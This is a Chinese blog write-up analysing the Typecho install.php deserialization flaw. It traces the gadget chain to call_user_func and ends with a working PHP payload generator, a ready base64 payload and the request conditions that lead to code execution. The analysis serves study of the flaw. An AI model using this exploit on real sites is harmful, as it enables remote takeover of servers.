Kingkk's Blog.

Typecho反序列化漏洞复现

2018/07/21 Share

前言

之前一直就听过这个漏洞,影响还是蛮大的。但是之前一直没有时间复现。
最近想着没有搞过这个类型的漏洞,恰好这里有一个活生生的案例,就把php反序列化总结了下,分析了下这个漏洞。
看完分析文章,我只想说,流批。叫我就算告诉我这有漏洞我也找不到触发链。orz

漏洞分析

漏洞发生在install.php中。直接搜索unserialize关键字就能找到,大约283行的样子

1
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

跟进Typecho_Cookie中的get方法

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

可以通过cookie或者post的方式传入,这样传入unserialize的变量就是可控的

接下来分析下要进入这里的逻辑流程
只要绕过一开始的这两个代码逻辑即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

修改下http头的参数,以及get参数,即可满足要求

然继续分析反序列化的利用
在反序列化下面就有这样一行代码

1
$installDb = new Typecho_Db($config['adapter'], $config['prefix']);

看到这里调用了$config来实例化一个db类
在Typecho_Db中的construct类就可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

里面将传入的变量与字符串相连接,会触发默认的__toString方法

1
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

这里找到var\Typecho\Feed.php中的Feed类定义了__toString方法
由于代码段有点长,就放上最主要的部分

1
2
3
4
5
6
7
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

可以看到这里$item['author']->screenName,对循环出来的变量获取screenName属性,从而会触发默认的__get方法
这里的循环变量$this->_items恰好也是反序列化能够控制的类中的变量

然后找到一处var\Typecho\Request.php类中的__get方法

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

前面都没什么问题,主要是最后一句

1
return $this->_applyFilter($value);

进行看一下这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

执行代码的地方来了call_user_func

call_user_func — 把第一个参数作为回调函数调用
$this->_filter是反序列化时可以控制的
传入的$value参数在之前也是通过$value = $this->_params[$key];获取

从而一个复杂的反序列化攻击链就完成了

漏洞攻击

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php 

class Typecho_Feed{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";

private $_items = array();
private $_type;

function __construct(){
$this->_type = self::RSS2 ;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request()
);
}


}

class Typecho_Request{
private $_filter = array();
private $_params = array();

function __construct(){
$this->_params['screenName'] = 'phpinfo();';
$this->_filter[0] = 'assert';
}
}


$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_',
);

print_r(base64_encode(serialize($exp)));

关于这个payload有两点要说下
一就是'catetory'这个数组中,只要任意传入一个类即可,否则会报database error,具体原因暂不知
二就是我一开始想用eval的,然后就会报没有eval函数的错误,可能是把eval函数给禁用了

然补上之前的进入条件

1
2
reference = http://localhost/typecho/
?finish=a

用post传入

1
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo1OiJ0aXRsZSI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1MDg4OTUxMzI7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MTA6InBocGluZm8oKTsiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxMDoicGhwaW5mbygpOyI7fX19fXM6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

即可getshell

Reference Link

https://www.hackersb.cn/shenji/239.html

CATALOG
  1. 1. 前言
  2. 2. 漏洞分析
  3. 3. 漏洞攻击
  4. 4. Reference Link